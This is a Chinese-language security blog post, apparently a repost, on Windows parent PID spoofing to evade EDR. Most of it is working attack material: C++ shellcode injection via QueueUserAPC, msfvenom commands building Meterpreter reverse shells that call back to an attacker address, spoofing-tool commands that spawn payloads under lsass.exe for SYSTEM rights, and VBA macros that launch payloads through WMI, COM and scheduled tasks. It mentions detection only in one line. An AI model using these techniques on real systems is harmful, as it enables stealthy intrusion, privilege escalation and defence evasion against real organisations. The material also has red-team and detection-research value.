Windows 利用父进程欺骗绕过EDR检测

admin 2024年6月3日18:42:37评论85 views字数 10223阅读34分4秒阅读模式

介绍

监控父进程和子进程之间的关系是威胁检测团队检测恶意活动的常用方法。例如,如果 PowerShell 是子进程,而 Microsoft Word 是父进程,则表明存在入侵。各种 EDR(端点检测和响应)可以轻松检测到这种异常活动。Windows API 调用“ CreateProcess ”支持一个参数,允许用户分配父 PID。这意味着恶意进程在创建时可以使用与实际执行的父进程不同的父进程。这导致攻击方使用父 PID 欺骗作为逃避方法

 最初,这项技术是由Didier Stevens 于 2009 年引入到更广泛的信息安全受众中的 。当时发布了一个用 C++ 编写的概念验证 ( SelectMyParent ),该验证允许用户通过指定 PID(进程标识符)来选择父进程。“ CreateProcess ”函数与“ STARTUPINFOEX ”和“ LPPROC_Thread_ATTRIBUTE_LIST ”结合使用 。

Shell                  
SelectMyParent.exe notepad 508

Windows 利用父进程欺骗绕过EDR检测

PID 508 对应于“ lsass.exe ”进程,该进程负责登录活动、密码更改等。记事本将在 lsass.exe 进程下创建。    

Windows 利用父进程欺骗绕过EDR检测

调查该进程的属性会发现 Notepad 是以 SYSTEM 级权限运行的。这是因为子进程 (notepad.exe) 将获得父进程 (lsass.exe) 的权限。

Windows 利用父进程欺骗绕过EDR检测

从 Meterpreter 会话中,以下命令可用于检索当前会话的 PID,并通过指定进程名称,结果将仅过滤到该特定进程。    

Windows 利用父进程欺骗绕过EDR检测

          

          

利用方式

C++

APC-PPID

根据 Microsoft 文档,“ 异步过程调用 ”是在特定线程上下文中异步执行的函数。这是 Halil Dalabasmaz 在其 C++ 工具 APC-PPID 中使用的一种进程注入方法,可实现父 PID 欺骗。

          

最初,函数“ getParentProcessID() ”用于检索父进程的 PID。“ TlHelp32.h ”标头( 工具帮助库 的一部分)支持“ CreateToolhelp32Snapshot ”函数,该函数负责对指定进程 (explorer.exe) 进行快照。拍摄快照时,将检索进程大小和 PID,然后关闭句柄。

Shell                  
DWORD getParentProcessID() {                  
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);                  
    PROCESSENTRY32 process = { 0 };                  
    process.dwSize = sizeof(process);                  
                 
    if (Process32First(snapshot, &process)) {                  
        do {                  
                    //If you want to another process as parent change here                  
            if (!wcscmp(process.szExeFile, L"explorer.exe"))                  
                break;                  
        } while (Process32Next(snapshot, &process));                  
    }                  
                 
    CloseHandle(snapshot);                  
    return process.th32ProcessID;                  
}
       

Windows API“ CreateProcess ”用于在系统(iexplore.exe)上创建一个具有“ STARTUPINFOEXA ”结构的新进程。

Shell                  
#include
#include
#include
           
DWORD getParentProcessID() {            
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);            
    PROCESSENTRY32 process = { 0 };            
    process.dwSize = sizeof(process);            
           
    if (Process32First(snapshot, &process)) {            
        do {            
                    //If you want to another process as parent change here            
            if (!wcscmp(process.szExeFile, L"explorer.exe"))            
                break;            
        } while (Process32Next(snapshot, &process));            
    }            
           
    CloseHandle(snapshot);            
    return process.th32ProcessID;            
}            
           
int main() {            
           
    //Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c            
    unsigned char shellCode[] = "";            
           
    STARTUPINFOEXA sInfoEX;            
    PROCESS_INFORMATION pInfo;            
    SIZE_T sizeT;            
           
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());            
           
    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));            
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);            
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);            
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);            
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);            
    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);            
           
    CreateProcessA("C:\Program Files\internet explorer\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast(&sInfoEX), &pInfo);            
           
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);            
    SIZE_T *lpNumberOfBytesWritten = 0;            
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);            
           
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);            
    ResumeThread(pInfo.hThread);            
    CloseHandle(pInfo.hThread);            
    return 0;            
}
       

Windows 利用父进程欺骗绕过EDR检测

          

可以使用 Metasploit 实用程序“msfvenom”或任何其他替代方法以 C 语言生成 shellcode。代码将写入创建的进程 (iexplore.exe) 的地址空间。    

Shell                  
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c > pentestlab.txt

Windows 利用父进程欺骗绕过EDR检测

Windows 利用父进程欺骗绕过EDR检测

在目标系统上执行二进制文件将创建一个新进程(iexplore.exe),其父进程为 explorer.exe。shellcode 将使用用户模式异步过程调用在 Internet Explorer 进程的内存空间中执行。

Windows 利用父进程欺骗绕过EDR检测

将与目标主机建立 Meterpreter 会话。    

Windows 利用父进程欺骗绕过EDR检测

查看目标系统的进程将显示“ iexplore.exe ”已成功创建。

Windows 利用父进程欺骗绕过EDR检测

查看进程属性将验证父进程是否为“ explorer.exe ”。此概念验证实现了一种更隐蔽的进程注入方法,以将 shellcode 隐藏在进程内,并且由于 explorer 和 Internet Explorer 是有效的 Microsoft 系统进程,因此将绕过端点检测和响应产品融入环境。    

Windows 利用父进程欺骗绕过EDR检测

 spoof

该工具可用于父 PID 欺骗,因为它允许用户选择父 PID 进程。

Shell                  
spoof.exe pentestlab.exe 1116

Windows 利用父进程欺骗绕过EDR检测

一旦在目标主机上创建了进程,就会执行任意负载并打开会话。    

Windows 利用父进程欺骗绕过EDR检测

查看进程资源管理器中 PID 的进程详细信息将验证该进程是 explorer.exe 的子进程。

Windows 利用父进程欺骗绕过EDR检测    

Windows 利用父进程欺骗绕过EDR检测

Powershell

PPID-Spoof

F-Secure 发布了一个可执行父 PID 欺骗的 PowerShell 脚本 ( PPID-Spoof )。该脚本包含嵌入式 C# 代码,以便与“ CreateProcess ”Windows API 进行交互。

Shell                  
public static extern bool CreateProcess(                  
   string lpApplicationName,                  
   string lpCommandLine,                  
   ref SECURITY_ATTRIBUTES lpProcessAttributes,                   
   ref SECURITY_ATTRIBUTES lpThreadAttributes,                  
   bool bInheritHandles,                   
   uint dwCreationFlags,                  
   IntPtr lpEnvironment,                  
   string lpCurrentDirectory,                  
   [In] ref STARTUPINFOEX lpStartupInfo,                   
   out PROCESS_INFORMATION lpProcessInformation);                  

该工具接受 3 个参数,即父进程的 PID、子进程的系统路径和用于代码执行的任意 DLL 的路径。    

Shell                  
PPID-Spoof -ppid 3556 -spawnto "C:WindowsSystem32notepad.exe" -dllpath pentestlab.dll

Windows 利用父进程欺骗绕过EDR检测

记事本将在 PowerShell 上下文中执行,并且 DLL 将在 notepad.exe 内加载。

Windows 利用父进程欺骗绕过EDR检测

由于 DLL 将在进程内部加载,因此与命令和控制框架的通信通道将会打开。

Windows 利用父进程欺骗绕过EDR检测    

 更隐蔽的方法可能是在“ LSASS ”进程内加载 DLL 。威胁搜寻团队必须检查 EventHeader ProcessId 和 ParentProcessID,才能识别进程欺骗。

Shell                  
PPID-Spoof -ppid 3244 -spawnto "C:WindowsSystem32lsass.exe" -dllpath pentestlab.dll

Windows 利用父进程欺骗绕过EDR检测

系统上将创建一个新的“ LSASS ”进程,该进程将加载任意 DLL。这种情况允许红队融入环境中的合法进程。

Windows 利用父进程欺骗绕过EDR检测

Meterpreter 会话将以进程 ID 1312 打开,该进程对应于“ rundll32 ”进程,该进程是执行 DLL 的“ lsass.exe ”的子进程。    

Windows 利用父进程欺骗绕过EDR检测

          

psgetsys

Andrea Pierini 通过在 PowerShell 脚本中嵌入 C# 代码实现了父 PID 欺骗技术。该脚本将创建一个新的子进程,该子进程的父进程为用户定义的任何进程。与 F-Secure Labs 脚本类似,“ CreateProcess() ” API 用于执行欺骗。

Shell                  
Import-Module .psgetsys.ps1                  
[MyProcess]::CreateProcessFromParent(436,"C:WindowsSystem32cmd.exe","")

Windows 利用父进程欺骗绕过EDR检测

          

创建的进程将获得父进程(winlogon.exe)的权限(SYSTEM)。    

Windows 利用父进程欺骗绕过EDR检测

          

          

C#

GetSystem

GetSystem 程序使用 C# 开发,并实现父进程 ID 欺骗,以便将权限提升至 SYSTEM。这是通过“ CreateProcess ”API 实现的。.NET 二进制文件仅接受两个参数,即任意可执行文件和将充当父进程的进程名称。

Shell                  
GetSystem.exe pentestlab.exe lsass

Windows 利用父进程欺骗绕过EDR检测

进程“ pentestlab.exe ”将在目标主机上创建为“ lsass.exe ”的子进程。    

Windows 利用父进程欺骗绕过EDR检测

将与具有 SYSTEM 级别权限的相应命令和控制框架建立通信。

Windows 利用父进程欺骗绕过EDR检测

由于“ GetSystem ”基于 C#,因此可以通过 Covenant 或任何其他可以加载汇编二进制文件的相关框架(Cobalt Strike)来实现此技术。

Shell                  
Assembly GetSystem.exe "pentestlab.exe lsass"

Windows 利用父进程欺骗绕过EDR检测

Windows 利用父进程欺骗绕过EDR检测    

父进程将是“ LSASS ”或以 SYSTEM 级权限运行的任何其他进程。

Windows 利用父进程欺骗绕过EDR检测

          

          

ProcessInjection

Chirag Savla 使用 C# 开发了一个执行进程注入的 工具 ,能够利用所有常见的 Windows API(CreateProcess、VirtualAllocEx、OpenProcess 等)执行父 PID 欺骗。此工具的优点是支持具有父 PID 欺骗的不同进程注入技术。该工具接受 base-64、C 和十六进制的 shellcode。Metasploit“ msfvenom ”实用程序可以生成这些格式的 shellcode。

Shell                  
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f hex > pentestlab.txt

Windows 利用父进程欺骗绕过EDR检测

该工具需要注入进程的路径、shellcode 的路径、父进程名称、payload 的文件格式和进程注入技术。执行以下命令将把 shellcode 注入到以 explorer.exe 为父进程的新进程 (calc.exe) 中。

Shell                  
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:4

Windows 利用父进程欺骗绕过EDR检测    

监控进程将验证计算器是否已在 explorer.exe 的上下文中创建。

Windows 利用父进程欺骗绕过EDR检测

shellcode 将在 calc.exe 的虚拟地址空间中执行,并与命令和控制建立通信。

Windows 利用父进程欺骗绕过EDR检测

ProcessInjection 还支持使用 DLL 注入进行父 PID 欺骗。可以使用 Metasploit“msfvenom”生成任意 DLL 文件。

Shell                  
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f dll > pentestlab.dll        

Windows 利用父进程欺骗绕过EDR检测

需要指定DLL的路径而不是shellcode,并且技术值应该更改为5。

Shell                  
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"pentestlab.dll" /parentproc:explorer /t:5

Windows 利用父进程欺骗绕过EDR检测

当在进程内部创建远程线程时,shellcode 将执行,并且 Meterpreter 会话将打开。    

Windows 利用父进程欺骗绕过EDR检测

 该会话将在“ rundll32 ”进程的上下文中运行 。

Windows 利用父进程欺骗绕过EDR检测

指定技术编号 6 将使用进程填空技术执行父进程欺骗。

Shell                  
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:6

Windows 利用父进程欺骗绕过EDR检测    

Windows 利用父进程欺骗绕过EDR检测

该工具还支持使用异步过程调用进行进程注入。为了实现更隐秘的方法,shellcode 的执行将在目标进程主线程的入口点之前发生。

Shell                  
ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:8

Windows 利用父进程欺骗绕过EDR检测

              

RemoteProcessInjection

它能够执行进程注入。该工具专为 Cobalt Strike 设计,接受基于 base-64 的有效负载。Metasploit 实用程序“msfvenom”可以生成原始 shellcode,然后可轻松转换为 base-64。

Shell                  
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.13 LPORT=4444                  
base64 -i /root/payload64.bin > payload64.txt

Windows 利用父进程欺骗绕过EDR检测

shellcode 将被注入到目标进程中。尽管它不使用“ CreateProcess ”API 来欺骗父进程,但它却能够将恶意软件隐藏在合法的 Windows 进程中。

Shell                  
RemoteInject64.exe 4272

Windows 利用父进程欺骗绕过EDR检测

远程进程注入

有效载荷将从目标进程的内存地址空间执行。进程注入方法与“ migrate ”Metasploit 命令有相似之处,因为它使用相同的 Windows API。    

Windows 利用父进程欺骗绕过EDR检测

          

VBA

Microsoft Office 一直是恶意软件非常流行的传播机制,因为它可以帮助威胁参与者和红队在组织内部获得初步立足点。然而,以宏形式执行恶意代码将创建一个任意子进程,EDR 可以轻松发现该进程,因为 EDR 能够分析进程父子关系之间的异常。

有多种方法可用于逃避调查父/子关系的 EDR 产品的检测。例如,VBScript 可以调用其他系统资源来执行恶意软件,如 WMI、COM 或计划任务。因此,父进程将不是 WINWORD,而是 Windows 操作系统的进程。

以下宏将使用 WMI(Windows 管理规范)来创建新进程。

Shell                  
Sub Parent()                  
                 
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\.rootcimv2")                  
Set objStartup = objWMIService.Get("Win32_ProcessStartup")                  
Set objConfig = objStartup.SpawnInstance_                  
Set objProcess = GetObject("winmgmts:rootcimv2:Win32_Process")                  
errReturn = objProcess.Create("C:Temppentestlab.exe", Null, objConfig, intProcessID)                  
                 
End Sub

Windows 利用父进程欺骗绕过EDR检测    

这种方法的好处是,创建的进程将在“ WmiPrvSE.exe ”下生成,而不是办公进程。

Windows 利用父进程欺骗绕过EDR检测

将会开通与C2的沟通渠道。

Windows 利用父进程欺骗绕过EDR检测    

COM 对象也可用于执行新进程。

Shell                  
Sub Parent()                  
                 
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")                  
obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:Temp",Null,0                  
                 
End Sub

Windows 利用父进程欺骗绕过EDR检测

使用此方法执行恶意可执行文件的结果是, 即使执行发生在办公产品内部,父进程也将是“ explorer.exe ”。

Windows 利用父进程欺骗绕过EDR检测

下图演示了会话将通过执行任意有效负载的 COM 对象在 Meterpreter 中打开。    

Windows 利用父进程欺骗绕过EDR检测

计划任务 通常用作持久性方法,因为它允许红队在特定日期或时间执行其交易。但是,它也可以用于父 PID 欺骗,因为可以直接从 vbscript 创建计划任务。以下代码将注册一个新的计划任务,该任务将在 30 秒后触发有效载荷的执行。

Shell                  
Sub Parent()                  
Set service = CreateObject("Schedule.Service")                  
Call service.Connect                  
Dim td: Set td = service.NewTask(0)                  
td.RegistrationInfo.Author = "Pentest Laboratories"                  
td.settings.StartWhenAvailable = True                  
td.settings.Hidden = False                  
Dim triggers: Set triggers = td.triggers                  
Dim trigger: Set trigger = triggers.Create(1)                  
Dim startTime: ts = DateAdd("s", 30, Now)                  
                 
trigger.StartBoundary = startTime                  
trigger.ID = "TimeTriggerId"                  
Dim Action: Set Action = td.Actions.Create(0)                  
Action.Path = "C:Userspentestlab.exe"                  
Call service.GetFolder("").RegisterTaskDefinition("PentestLab", td, 6, , , 3)                  
End Sub

Windows 利用父进程欺骗绕过EDR检测    

新的进程将不再以微软产品的进程作为父进程,而是以“ svchost.exe ”作为更隐秘的进程。

Windows 利用父进程欺骗绕过EDR检测

查看任意进程的进程属性将验证其父进程是“ svhcost.exe ”。    

Windows 利用父进程欺骗绕过EDR检测

          

          

工具包

工具

语言

SelectMyParent

C++

PPID-Spoof

PowerShell

GetSystem

C#

getsystem-offline

C++

APC-PPID

C++

PPID_spoof

C++

psgetsystem

PowerShell

ProcessInjection

C#

RemoteProcessInjection        

C#

Spoofing-Office-Macro

VBA

              

原文始发于微信公众号(暴暴的皮卡丘):Windows 利用父进程欺骗绕过EDR检测

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日18:42:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 利用父进程欺骗绕过EDR检测https://cn-sec.com/archives/2804478.html

发表评论

匿名网友 填写信息